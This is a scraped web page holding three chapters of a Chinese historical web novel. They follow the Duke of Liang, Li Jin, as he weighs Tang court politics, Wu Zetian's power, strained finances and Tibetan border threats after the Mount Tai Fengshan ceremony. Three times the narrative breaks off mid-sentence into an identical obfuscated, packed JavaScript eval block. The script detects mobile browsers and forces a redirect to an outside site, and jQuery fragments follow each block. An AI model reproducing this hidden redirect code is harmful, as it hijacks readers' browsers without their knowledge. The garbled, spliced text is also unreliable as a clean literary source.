万国使节们,在经历了最初的震撼、疑虑、揣摩之后,也开始迅速调整自己的认知和策略。吐蕃赞婆在离开泰山前,最后一次秘密会见了李瑾,言辞更加恭顺,礼物更加丰厚,试探性地提出了希望加强互市、稳定边界的意愿,态度与来时那种隐隐的桀骜已大不相同。突厥别部首领阿史那斛瑟罗则几乎是毫无保留地表达了对“天可汗”、“天可贺敦”和“叶护”的忠诚与崇拜,恨不得立刻将部落全部内附。新罗、百济、高句丽(残余势力)、倭国、林邑、真腊……几乎所有到场的藩国使节,都通过不同渠道,向唐朝皇帝、天后,以及那位权势熏天的梁国公,表达了最谦卑的敬意和最恭顺的臣服。封禅大典,尤其是其过程中展现出的国力、组织力、以及那令人心悸的“神圣权威”,像一记重锤,彻底敲碎了他们心中可能残存的任何不切实际的幻想。一个大一统的、强盛的、且内部权力结构独特而稳固的唐帝国,比以往任何时候都更让他们感到敬畏。一个以“**天后”为核心、以梁国公为军事支柱的唐帝国,其未来的扩张性、稳定性与威胁性,都需要他们彻底重新评估。
封禅队伍并未直接返回长安,而是先抵达东都洛阳。在洛阳,举行了盛大的庆功典礼与赏赐仪式。皇帝李治拖着病体,在则天门上接受了文武百官、洛阳士庶、以及尚未离开的各国使节的朝贺,并宣布大赦天下,免除沿途州县赋税,厚赏三军及随行人员。武则天与李瑾一左一右,侍立君侧,共享这无上荣光。洛阳城沸腾了,“**万岁!天后千岁!梁国公威武!”的欢呼声,响彻云霄,持续了整整三天三夜。
在洛阳休整期间,朝廷正式颁布诏书,以皇帝名义,但众所周知出自天后授意,对封禅大典进行总结与定性。诏书中盛赞封禅圆满成功,归功于“陛下圣德,天后贤明,将士用命,百姓归心”,并详细描述了“天降祥瑞,五彩环日,紫气横空”的异象,宣称此乃“皇唐德配天地,泽被四海之明证”。诏书再次确认了“**”、“天后”并尊的称号,并加封李瑾为“司徒”(三公之一,虽为加官,荣誉至极),增食邑,赐丹书铁券,图形凌烟阁。一系列伴随着封禅而来的封赏、晋爵、提拔,如同雨点般落下,将封禅的**成果,迅速转化为实实在在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048360|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的权力分配与利益调整,进一步固化了新的权力格局。
当庞大的队伍最终浩浩荡荡返回长安时,已是来年开春。长安城万人空巷,百姓箪食壶浆,出城数十里迎接。凯旋的仪式比出发时更加盛大。朱雀大街两侧,彩旗招展,鲜花铺路。李治乘坐御辇,武则天凤辇并行稍后,李瑾则骑马紧随。在他们之后,是那三方泰山纪功碑的拓本(被制作成巨大的屏风式样,由力士高举),以及描绘“泰山祥瑞图”的巨幅画卷。队伍所过之处,“万岁”、“千岁”、“威武”之声震耳欲聋,花瓣如雨般洒落。
巍峨的大明宫,再次敞开了它的宫门,迎接它的主人,以及这权力巅峰的归来。
含元殿,大朝。
李治高踞御座,尽管精神不济,但在厚重的朝服和冕旒下,依旧维持着天子的威仪。御座之侧,设了一座略低、但同样精美华丽的凤座,武则天端坐其上,凤冠霞帔,面容沉静,接受着百官的朝拜。而李瑾,则立于丹陛之下,文武百官的最前列,紫袍玉带,独享殊荣。
朝会上,君臣再次“共忆”封禅盛况,齐颂“**天后”圣德,恭贺“梁国公”不世之功。一道道彰显封禅成功后帝国气象的政令被颁布:继续推行劝课农桑、轻徭薄赋的政策;加大力度整顿吏治,选拔寒门才干;完善边防体系,表彰边功;尊崇儒学,同时下诏汇集高僧大德,在长安、洛阳翻译佛经,武则天对佛教的推崇开始公开化、制度化;李瑾则奏请扩大武学,规**官选拔,加强新式火器的研发与装备,得到准奏。
整个帝国,仿佛一架被注入了全新强大动力的精密机器,围绕着“**、天后、梁国公”这个稳固的三角轴心,高效地运转起来。政令通畅,边疆安宁,府库充盈,万国来朝。无论是朝廷中枢,还是地方州县,无论是文臣武将,还是士农工商,都清晰地感受到,一个前所未有的、强大而自信的时代已经降临。而这个时代的最高权力,毫无争议地,掌握在含元殿御座上那位病弱却“圣德感天”的皇帝、他身旁那位智慧明断并得到“天命”认可的皇后,以及殿下那位战功赫赫、如定海神针般的梁国公手中。
这是一个黄金时代。一个“三圣”并立(至少在时人看来,李瑾之功勋威望,已近于“圣”)、共治天下的顶峰时刻。个人的权力、帝国的威望、时代的荣耀,在此刻,达到了完美的统一与极致。
深夜,长安,梁国公府。
喧嚣散去,荣耀沉淀。李瑾独自坐在书房中,窗外是长安城的万家灯火,与天上繁星交相辉映。书房内没有点太多蜡烛,只有案头一盏孤灯,映照着他沉思的面容。
案上,摆着几份文书。一份是今日朝会上刚刚议定的、关于在安西、北庭增设军镇,推广新式农具的奏章批复副本。一份是来自陇右的密报,提及吐蕃内部似乎有异动,但赞普芒松芒赞仍在竭力维持与唐的和平。一份是家将递上的,关于府中产业和部曲情况的例行简报。还有一份,是白日里,天后遣内侍悄悄送来的一卷手抄佛经,扉页上有她亲笔题写的“静心涤虑”四字。
他拿起那卷佛经,指尖拂过那娟秀中带着筋骨的字迹。静心涤虑……他嘴角微扬,露出一丝难以言喻的笑意。封禅的辉煌,祥瑞的喧嚣,万民的拥戴,权力的巅峰……这一切,确实需要静心,需要涤虑。
他放下佛经,走到窗边,推开窗户。初春的夜风带着寒意涌入,吹动他额前的发丝。他望向夜空,星河璀璨,仿佛亘古不变。又望向远处皇宫的方向,含元殿的轮廓在夜色中沉默而威严。
权力之巅,风光无限。然,巅峰之上,四顾苍茫,寒风凛冽。下一步,是稳踞云霄,还是步入深渊?是共治的佳话,还是……
他想起泰山之巅那绚烂而短暂的“祥瑞”,想起李治眼中那回光返照般的狂热,想起武则天眼底那深不见底的平静与算计,想起太子李弘那沉默而忧郁的背影,想起朝堂上那些恭敬笑容下可能隐藏的种种心思。
“巅峰……”李瑾轻轻吐出两个字,声音消散在夜风中。
他知道,这用无上荣耀、盖世功勋、天意祥瑞共同构筑的巅峰,坚固无比,也脆弱无比。它建立在皇帝的病体、天后的野心、他自己的军功,以及那微妙平衡之上。任何一环出现裂痕,这看似巍峨的巅峰,都可能轰然崩塌。
但此刻,他别无选择,也无法后退。他只能站在这巅峰,迎着最凛冽的风,看向最远的风景,同时,握紧手中的剑,警惕着来自四面八方的明枪暗箭,以及……那或许终将到来的、盛极而衰的拐点。
夜还很长。长安的灯火,与天上的星光一起,静静照耀着这个处于权力之巅,也立于历史拐点的男人,与他所效忠、也与之共舞的帝国。
第209章 繁华下的影
泰山封禅的辉煌,如同投入帝国中枢的一颗巨石,激起的波澜层层扩散,经久不息。返回长安后,这种“黄金时代”的盛世气象,非但没有随着大典结束而减弱,反而在朝廷有意的推动和民间的自发传颂下,达到了一个新的高潮。
长安、洛阳两京,乃至天下各主要州县,都陆续接到了朝廷颁布的、详述封禅盛况与“天降祥瑞”的邸报、露布。官府组织吏员、乡绅在闹市宣讲,茶楼酒肆的说书人将“**登岱岳、天后亚献礼、梁国公终献、天现紫气祥云”的故事编成段子,说得天花乱坠,引人入胜。坊间的雕版印刷作坊,加班加点赶制着粗糙但生动的“泰山封禅祥瑞图”,虽然画工拙劣,但“**”、“天后”、“梁国公”的形象以及那夸张的“五彩日晕紫气”却清晰可辨,销路极佳。一时间,举国上下,无论是庙堂高官,还是市井小民,言必称封禅,语必及祥瑞,“**天后圣德齐天”、“梁国公功高盖世”、“大唐盛世,天命所归”的观念,以前所未有的广度和深度,渗透进帝国的每一个角落。
然而,在这极致的繁华、无上的荣耀、看似铁板一块的“天命所归”叙事之下,一些细微的、不和谐的影子,已经开始在阳光照不到的角落,悄然滋生、蔓延。这些影子,或许暂时无法撼动那巍峨的权力巅峰,却如同白蚁蛀蚀巨木,无声地侵蚀着盛世根基,也映入了那位身处权力核心、却始终保持着异乎寻常清醒的梁国公眼中。
朝堂之上,表面的和谐与颂扬声浪之下,暗流涌动得更为隐蔽,却也更加深刻。
首先是关于“祥瑞”的后续处理。许敬宗、李义府等人自然是弹冠相庆,将此视为**上的巨大胜利。他们不但力主将祥瑞之事详载史册,还倡议在各州县学宫、文庙,乃至交通要道,刻石立碑,广布祥瑞图像与颂文,务求“使妇孺皆知,咸颂圣德”。这提议得到了武则天的默许甚至鼓励。然而,在具体落实过程中,却出现了微妙的分歧。一些地方官员为了逢迎上意,或为了凸显政绩,开始“创造”祥瑞。某地声称“禾生双穗”,某地报告“枯木逢春”,更有甚者,竟伪造“麒麟现世”、“凤凰来仪”的“祥瑞”,层层上报,以期邀宠。起初朝廷还煞有介事地派人查验、嘉奖,但此类“祥瑞”越来越多,越来越离奇,渐渐引起了一些务实派官员,乃至部分原本支持封禅的中间派官员的反感。私下议论中,开始出现“谀媚成风”、“劳民伤财”的微词。虽然无人敢公开反对“天示祥瑞”本身,但这种为了****而层层加码、甚至弄虚作假的风气,让李瑾嗅到了一丝不安的气息。他知道,当“祥瑞”从偶尔的天象或难得的自然奇观,变成可以人为“制造”的**工具时,其神圣性和威慑力就开始贬值,甚至可能反噬。
其次,是封禅的巨大消耗与后续的财政压力,开始初步显现。此次封禅,动员人员数十万,历时近半年,沿途修建行宫、道路,供应粮草物资,赏赐百官、将士、藩国使节,乃至最后的大赦天下、减免赋税……每一项都是天文数字的支出。虽然帝国经过多年积累,府库充实,但如此规模的消耗,依然让户部官员暗暗叫苦。封禅归来后,皇帝李治在“祥瑞”和“盛世”的鼓舞下,精神短暂亢奋,连续批准了几项大型工程:在洛阳增修宫室,在长安扩建皇家道观以供奉“泰山祥瑞”,在龙门石窟开凿新的、规模更大的帝后礼佛图……这些工程,加上维持日益庞大的官僚体系和边防军费,让帝国的财政开始感到吃紧。户部尚书几次在政事堂会议上委婉提及“用度稍奢”、“宜加节俭”,都被许敬宗以“彰显国威”、“上应祥瑞”为由驳回。武则天对此不置可否,既未明确支持大兴土木,也未严厉制止,似乎有意借此观察各方反应,也测试帝国财政的承受底线。李瑾冷眼旁观,心中计算着不断增长的财政数字,他知道,由俭入奢易,由奢入俭难。封禅的辉煌,开启了“盛世”的炫耀性消费模式,若不加节制,再丰厚的家底,也终有耗尽的一天。而财政的窘迫,往往是帝国由盛转衰的最直接信号。
再次,是关于权力继承的暗流,因为封禅而变得更加敏感和复杂。太子李弘,在封禅归来后,变得更加沉默寡言,但处理政务却越发勤勉细致。他努力在东宫属官的辅佐下,学习理政,关心民瘼,表现出仁孝聪慧的一面,赢得了不少朝臣,尤其是那些恪守正统的儒家官员的暗暗称赞。然而,他与母亲武则天的关系,却似乎变得更加微妙而疏远。封禅台上,他被排除在核心仪式之外;纪功碑上,他的名字仅在末尾被一笔带过;朝野上下,称颂的是“**天后”,是“梁国公”,他这个法定储君,仿佛成了一个尴尬的符号。武则天对太子,表面上依旧关怀,赏赐不断,询问功课,但那种关怀中,带着一种居高临下的审视和不容置疑的控制。她开始有意识地将一些原本属于太子监国范畴的、不太重要却繁琐的政务交给李弘处理,美其名曰“历练”,实则是一种分权与测试。同时,她加快了扶持自己亲信官僚进入东宫属官体系的步伐,并借修订礼法、推崇佛教等事,不断强化自己“天后”的权威,隐隐有与皇帝、乃至与太子分庭抗礼之势。李瑾敏锐地察觉到,这对天家母子之间,那层温情脉脉的面纱下,权力的冰冷博弈已经开始。而他自己,因为功高盖主,又与天后关系密切,无形中被卷入了这场未来最高权力的继承之争。支持太子,是儒家正统,但可能得罪天后;支持天后……那将彻底颠覆纲常,后果难料。他必须万分小心,在两者之间保持艰难的平衡,稍有不慎,便是万劫不复。
最后,是边疆的隐患与外部的反应,并未因封禅的“威加四海”而完全平息。吐蕃赞普芒松芒赞虽然遣使再次朝贡,言辞恭顺,但据安西、陇右的边报,吐蕃内部主战派势力并未消停,仍在积极整顿军备,向吐谷浑故地、安西四镇方向频繁进行小规模试探和渗透。显然,泰山封禅展示的国力与“天命”,震慑了吐蕃,但并未吓倒他们,反而可能刺激了他们更深的戒惧与更隐蔽的对抗。新罗、渤海等国,虽然表面上更加恭顺,朝贡更勤,但暗地里的串联、对唐朝辽东新政的抵触、对高句丽遗民的吸纳,并未停止。至于更遥远的西域诸国、漠北残存的突厥部落,更是首鼠两端,见风使舵。封禅带来的“万国来朝”盛景,更多的是威慑下的暂时臣服,而非心悦诚服。一旦中央权威稍有松动,或边境军力出现破绽,这些隐患就可能迅速发酵。李瑾深知,真正的边疆安宁,不能只靠“天命”和威慑,更需要持之以恒的强军、屯垦、羁縻与恰到好处的外交手腕。而眼下朝廷的注意力,似乎更多被内部的权力巩固和盛世营造所吸引,对边疆的长远经营,难免有所疏忽。
这些阴影,有些李瑾能清晰地看到,有些还只是模糊的预感。但它们如同细小的冰裂纹,已然出现在这“黄金时代”光鲜的表面之下。
这一日,李瑾在府中召见了刚刚从河西走廊巡视归来的旧部,现任凉州都督的王方翼。王方翼是李瑾早年一手提拔起来的将领,为人沉稳干练,精通边务,是李瑾在西北军中的得力臂助之一。
书房内,炭火盆烧得正旺,驱散了初春长安的寒意。王方翼风尘仆仆,但精神矍铄,他向李瑾详细禀报了凉州、甘州、肃州等地的防务、屯田、互市情况,以及吐蕃、吐谷浑、西域诸胡的最新动向。
“……吐蕃赞普虽遣使求和,但其大相论钦陵(噶尔·钦陵赞卓,吐蕃名将,主战派代表)近年来权势日盛,整军经武不辍。末将侦知,去岁秋冬,吐蕃在其与吐谷浑、安西接壤之地,增筑了不少小型堡寨,移驻部民,名为放牧,实为囤兵。其游骑出没也较往年更为频繁,虽未大规模犯边,但挑衅试探之意明显。”王方翼神色凝重,“依末将看,吐蕃畏威而不怀德,封禅之威,恐只能镇其一时。一旦其觉得有机可乘,或我朝内有变,必为边患。”
李瑾静静听着,手指无意识地在案上一幅粗略的西北舆图上划过。“论钦陵……此人确是劲敌。朝廷如今重心在内,对吐蕃,眼下仍以羁縻、安抚为主。然边防不可松懈。方翼,凉州乃河西咽喉,你肩上的担子不轻。军械粮草,若有短缺,可直接上书中书、兵部,亦可通过旧日渠道报我知晓。新式劲**与**,我已奏请陛下、天后,优先补充西北边防,尤其是你处。”
“多谢国公!”王方翼感激道,随即又压低声音,“国公,末将此次回京,沿途所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053760|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见,尤其是洛阳、长安,颇有感触。”
“哦?说来听听。”李瑾抬眼。
“盛世气象,确是前所未有。”王方翼斟酌着词句,“楼台馆阁,日益华美;市井之间,奢靡之风渐起。封禅归来,此风更炽。百姓争言祥瑞,商贾竞夸珍玩。便是军中,也有些将领,开始讲究排场,耽于享乐……末将并非不晓变通,只是,只是觉得,边塞将士风餐露宿,枕戈待旦,而两京贵戚,挥霍无度,长此以往,恐非国家之福。”他顿了顿,看着李瑾平静无波的脸,鼓起勇气道,“国公,您如今位极人臣,一言九鼎,能否……能否劝谏陛下、天后,稍抑浮华,重俭朴,惜民力?尤其是,那些为祥瑞而大兴土木之事……”
李瑾沉默了片刻,没有直接回答王方翼的问题,而是问道:“方翼,你在凉州,可曾见到官府分发下来的‘泰山祥瑞图’?百姓反应如何?”
王方翼一愣,答道:“见到了。各州县官府确实在张挂、宣讲。百姓……初始自然觉得新奇,敬畏,议论纷纷,感念天恩。但时日稍长,议论便少了。对于升斗小民而言,祥瑞再神奇,也不如今年赋税能否减免,粮价是否平稳来得实在。有些老卒私下甚至嘀咕,有这刻画祥瑞、立碑建观的银钱,不如多造几副铠甲,多发些军饷抚恤。”
李瑾点了点头,脸上露出一丝极淡的、难以察觉的苦笑。“民心如水啊。方翼,你所言,我岂能不知?只是……”他站起身,走到窗前,望着庭院中尚未吐绿的古树枝丫,“封禅大典,祥瑞天降,乃是确立‘**天后’权威,稳固朝局,震慑内外的‘大义’名分。在此等‘大义’面前,些许奢靡,暂时只能算是瑕不掩瑜。陛下……需要这祥瑞来振奋精神,天后……需要这祥瑞来巩固权位。此时强谏,非但无益,反而可能被视为居功自傲,别有用心。”
王方翼闻言,心中一凛,低声道:“是末将思虑不周。只是,国公,长此以往……”
“我明白。”李瑾转过身,目光锐利地看着他,“所以,我们不能等,更不能只盯着两京的浮华。方翼,你回凉州后,务必整军经武,一刻不得松懈。屯田要抓,互市要管,但更要精练士卒,熟悉地形,广布耳目。真正的盛世,不是靠祥瑞和颂歌堆砌出来的,而是靠边疆稳固、府库充实、民心安定支撑起来的。吐蕃,乃至其他潜在之敌,不会给我们太多时间沉醉于‘天朝上国’的迷梦。我们要做的,是在这迷梦之下,握紧手中的刀剑,筑牢边疆的防线。”
他走回案前,提起笔,在一张纸上快速写下几行字,递给王方翼:“这些,是我能额外调拨给你的一批军械物资清单,以及几位擅长筑城、火器的新派工匠名单。你秘密带回,妥善使用。记住,凉州稳,则河西稳;河西稳,则关中西顾无忧。这才是实实在在的‘祥瑞’。”
王方翼双手接过,只觉那张薄薄的纸重若千钧。他单膝跪地,肃然道:“末将明白!定不负国公重托,为国守好西大门!”
送走王方翼,李瑾独自在书房中又坐了许久。炭火渐弱,寒意重新袭来。他想起白日里朝会上,几位御史因为“祥瑞”真伪和花费问题,与许敬宗**的轻微龃龉;想起户部尚书那欲言又止的愁容;想起太子李弘在听政时,面对母亲武则天询问政见时,那谨慎而疏离的回答;想起市井坊间,在颂扬“祥瑞”之余,也开始悄然流传的一些关于宫廷用度奢侈、官员借祥瑞之名盘剥百姓的零星议论……
“五彩日晕,紫气横空……”李瑾喃喃自语,嘴角那丝苦笑更深了。这“祥瑞”的光芒,照亮了权力的巅峰,却也投下了更浓重的阴影。在这片被“天命”光辉笼罩的极致繁华之下,裂痕已生,隐患暗藏。
他能做的,是在这阴影蔓延开来之前,尽可能多地布下棋子,稳固根基,握紧真正的力量。至于那巅峰之上的寒风,与可能到来的风暴,他唯有凝神静气,拭目以待。
窗外,长安城的夜,依旧灯火辉煌,笙歌隐隐。这是帝国的中枢,是黄金时代的核心,也是最容易让人迷失在繁华与权势中的地方。李瑾吹熄了案头的灯,让自己融入一片黑暗之中。唯有在黑暗中,他的目光,才能穿透那层炫目的繁华光影,看清其下涌动的、冰冷的暗流。
第210章 盛极而衰律
长安的春夜,料峭寒意依旧固执地渗入梁国公府书房的每个角落,即便炭盆重新拨旺,也驱不散那自李瑾心底泛起的丝丝凉意。王方翼带来的边关警讯,像一根尖锐的冰刺,戳破了泰山封禅归来后笼罩在帝国上空的、那层由颂扬声、祥瑞光环和盛世迷梦编织成的华美锦缎,露出了其下冰冷而坚硬的**现实与历史规律。
王方翼离开已有多时,书房内只剩下李瑾一人。他没有再点灯,任由自己沉浸在无边的黑暗与寂静中。窗外,长安城的万家灯火与天上的星辰,都仿佛隔着一层**玻璃,模糊而遥远。这极致繁华的都城,这权力巅峰的中心,此刻在他感知中,却像一艘航行在未知暗夜中的巨舰,外表金碧辉煌,锣鼓喧天,内里却已能听到龙骨不堪重负的细微**,而前方,浓雾弥漫,礁石隐现。
“盛极而衰……”李瑾在心中反复咀嚼着这四个字。这并非突如其来的感悟,而是在无数个深夜,当他从堆积如山的捷报、颂文、祥瑞记录和政事堂文牍中抬起头时,那个如影随形、越来越清晰的念头。泰山之巅,与帝后并肩,受万国朝拜,天降祥瑞的那一刻,这念头曾短暂地被那无上荣光所淹没。但当他走下神坛,回归这间书房,面对帝国真实运行的脉络与潜藏的暗礁时,这念头便如附骨之疽,重新变得无比清晰,甚至带着某种宿命般的沉重。
他起身,走到靠墙的一排书架前。那里整齐码放着的,并非经史子集,也非兵法典籍,而是他多年来命人搜集整理的历代史书、政论、笔记,尤其是关于那些曾经强大一时、却又最终走向衰亡的王朝记载。他抽出一卷《史记》,又抽出一卷《汉书》,再是《后汉书》、《三国志》、《晋书》……直到最新编修的《隋书》。他抱着这沉重的书卷,回到案前,点燃了灯。
昏黄的灯光下,他缓缓展开书卷,目光掠过那些早已熟稔于心,此刻却带着全新警示意味的文字。秦灭六国,一统天下,筑长城,修驰道,书同文,车同轨,何其强盛!然则严刑峻法,役民无度,二世而亡,其兴也勃焉,其亡也忽焉。汉武帝北击匈奴,开疆拓土,国力鼎盛,然连年用兵,海内虚耗,轮台诏下,已是**之末。光武中兴,明章之治,东汉也曾有辉煌,奈何外戚宦官交替专权,党锢之祸,黄巾蜂起,终至三分。隋文帝一统南北,开皇之治,府库充盈,然炀帝继位,好大喜功,三征高丽,开凿运河,徭役繁重,民怨沸腾,巍巍大隋,两代而斩……
这些字句,他读过无数遍,但今夜重读,感受截然不同。昔日读史,多是揣摩兴衰之理,借鉴治国用兵之道。今夜再读,却仿佛在字里行间,看到了自己,看到了李治,看到了武则天,看到了眼前这个“**天后”并立、权臣功盖当世的煌煌大唐。
所有的强盛,似乎都遵循着相似的轨迹:励精图治,君臣一心,扫平内乱,抵御外侮,于是国力日增,府库丰盈,四夷宾服,进入全盛。然后呢?然后往往是君王骄奢,佞幸当道,大兴土木,好大喜功,吏治**,土地兼并,边患再起,民力凋敝……最终,或亡于内乱,或灭于外敌,或崩于积弊。如同日升月落,潮涨潮退,仿佛有一条无形的、冷酷的规律,在支配着这一切。史家称之为“气数”,称之为“天命”,但李瑾更愿意称之为“盛极而衰律”。
“难道我大唐,也逃不过这宿命轮回?”李瑾的手指,无意识地划过《隋书》中关于隋文帝节俭、隋炀帝奢靡的对比记载,心中暗问。
窗外传来更鼓声,已是子时。长安城的喧嚣,终于渐渐平息,只余下夜风吹过檐角的呜咽,与远处隐约的、守夜禁军整齐的脚步声。
李瑾闭上眼,眼前浮现的却不是史书上的字句,而是活生生的现实:
——皇帝李治那被“祥瑞”短暂点燃、却更显虚弱的亢奋。封禅归来的荣光与“天意认可”的满足感,能支撑他那日益衰败的病体多久?一旦这虚幻的兴奋退去,留下的将是更深的疲惫与无力。而一个精力不济、日渐倚赖他人的天子,本身就是朝局不稳的最大变数。
——天后武则天那双深不见底的凤目。她利用封禅,利用祥瑞,将自己的权威推向了与天子比肩、甚至在某些时刻隐隐凌驾的高度。她的**手腕日益纯熟,对朝局的掌控力与日俱增。但她的权力根基,很大程度上建立在皇帝的病弱、自己的谋略、以及李瑾为首的军方支持之上。她对权力的渴望似乎永无止境,封禅之后,是“二圣临朝”,再之后呢?她与日渐成年的太子李弘之间,那看似平静水面下的权力暗流,终有激荡澎湃的一天。届时,自己这个手握重兵、与双方关系都微妙复杂的“梁国公”,将何以自处?是“周公辅成王”,还是……
——太子李弘那沉默而忧郁的身影。他仁孝聪慧,深受儒家正统教育,是法理上无可争议的继承人。但他能顺利接过这权柄吗?他的母亲,那位精明强干、野心勃勃的天后,会甘心还政于子吗?朝中那些对“牝鸡司晨”深恶痛绝的势力,是否会**到太子身边,引发新一轮的、更加激烈的冲突?而自己,是选择站在代表“正统”但可能稚嫩的太子一边,还是继续与更有权谋、更能掌控大局的天后合作?无论选择哪边,都意味着巨大的风险,甚至可能将帝国拖入内耗的深渊。
——朝堂之上,许敬宗、李义府等人借“祥瑞”和拥戴之功,权势愈发煊赫,门生故吏遍布朝野。他们善于揣摩上意,精于权术,但也结党营私,排斥异己,奢靡无度。这股势力的膨胀,正在侵蚀吏治的清明,助长逢迎浮夸之风。而那些被边缘化的、心存不满的关陇旧族、儒家正统派官员,他们的怨气在积聚,沉默之下,是压抑的怒火。朝堂的平衡,表面稳固,实则脆弱。
——府库的消耗。封禅的巨大开支只是开始,后续的“祥瑞”工程、宫廷用度、官员赏赐、边防军费……每一项都在吞噬着贞观以来积累的财富。户部尚书的眉头越皱越紧,但无人敢在“盛世”、“祥瑞”的光环下,公然倡言节俭。长此以往,国库空虚,加征赋税,则·民怨生;削减军费,则边防弛。此乃取乱之道。
——边疆的隐患。吐蕃虎视眈眈,西域诸国首鼠两端,漠北突厥余部未靖,安东都护府初设,高句丽遗民未完全归心……封禅的威慑是暂时的,刀剑的锋利才是永恒的保障。但朝中弥漫的“天朝上国”、“万邦来朝”的虚骄之气,是否会让人轻视这些实实在在的威胁?王方翼的担忧,绝非杞人忧天。
——最后,是那弥漫在整个帝国上下的、越来越浓厚的虚浮与躁动。“祥瑞”频现,**成了****,务实之风渐衰,谀媚之气日盛。市井奢靡,人心不古。这看似繁华的表象之下,是精神凝聚力的潜在涣散,是务实进取·精神的消磨。
这一切,如同一张错综复杂的网,将李瑾,将整个帝国,笼罩其中。而这其中许多问题,似乎都与那场极尽荣耀的封禅大典,有着千丝万缕的联系。封禅,是功业的顶峰,是权力的加冕,是盛世的宣告,但也像一剂药力猛烈的补药,在带来短暂亢奋的同时,也加速了某些沉疴的发作,诱发了新的病灶。
“不,绝不能坐视这‘盛极而衰律’在我大唐应验。”李瑾猛地睁开眼,眸中闪过一丝锐利如刀的光芒。他不是**者,更不相信什么“气数已尽”。他相信事在人为。太宗皇帝能开创贞观之治,他李瑾,为何不能与皇帝、天后一起,设法避开这历史的陷阱,让这盛世延续得更久一些?
但,该如何做?
直接进谏皇帝、天后,直言盛世隐患,倡言节俭,抑制浮华,整顿吏治,防范外患?在封禅成功、祥瑞频现、朝野一片颂扬的此刻,这无异于冷水浇头,不仅难以被接受,反而可能被视为居功自傲,不识时务,甚至被别有用心者扣上“诽谤盛世”、“怨望君上”的罪名。许敬宗之流,必定会群起而攻之。
他需要更巧妙、更持久、也更根本的方法。
李瑾的目光,再次落回案头的史书。历史的教训,不仅在于警示衰亡,也在于揭示兴盛之道。贞观之治何以成功?在于太宗虚怀纳谏,任贤用能,轻徭薄赋,劝课农桑,君臣一体,上下同心。那么,要避免衰亡,是否也该从这些根本入手?
固本培元。李瑾在心中写下这四个字。盛世之基,在于民,在于农,在于实实在在的国力。封禅、祥瑞、宫室、颂歌,这些都是虚的,是锦上添花,甚至可能是透支未来的“花”。真正的“锦”,是府库里的粮食布帛,是边疆稳固的防线,是百姓安居乐业的人心,是吏治清明的朝堂,是储君顺利的过渡,是军械的锐利,是将士的忠诚。
他不能,也不必去直接挑战那由封禅和祥瑞构建起来的、笼罩在“**天后”头顶的神圣光环。但他可以,也必须,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053761|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在力所能及的范围内,去做那些固本培元的事情。
首先,是军。这是他安身立命的根本,也是帝国最重要的支柱。无论朝局如何变化,无论“祥瑞”如何喧闹,军队必须牢牢掌握在自己手中,并且要保持最强的战斗力。王方翼的凉州,只是冰山一角。他要加强对安西、北庭、安北、安东四大都护府的控制,确保边将得人,军械精良,训练有素,赏罚分明。同时,要继续推进武学和军校的建设,培养忠于国家、通晓军事的新生代将领,而不是只知钻营逢迎的官僚。军队,必须是帝国最稳定、最锋利的一把刀,而不是**斗争的牺牲品,更不是奢靡**的染缸。
其次,是财。户部的困境,他不能直接插手,但可以迂回影响。他可以利用自己的影响力,在政事堂讨论涉及大型工程、巨额赏赐的开支时,提出更务实、更注重长远效益的建议。比如,与其耗费巨资在各地兴建祥瑞碑、祥瑞观,不如将这些钱粮用于兴修水利,推广新式农具,改善通往边疆的驿道。他还可以支持一些务实派的官员,在朝中形成一股主张“量入为出”、“藏富于民”的声音,哪怕微弱,也是一种制衡。同时,他自己的封邑、产业,要做出节俭的表率,至少不能带头奢靡。
再次,是人。朝中风气,需要引导。许敬宗、李义府之流,眼下动不得,但可以慢慢扶持、提拔一些务实、正直、有才干的中下层官员,让他们在关键岗位上发挥作用,逐渐形成一股清流。对于太子李弘,他需要在保持适当距离、避免卷入其与天后直接冲突的前提下,给予一些隐晦的支持和引导,比如通过可靠的人,向其讲授一些历代治乱兴衰的道理,推荐一些务实的臣子进入东宫,潜移默化地帮助太子成长,为未来可能的权力交接做准备。这很危险,如履薄冰,但必须去做。
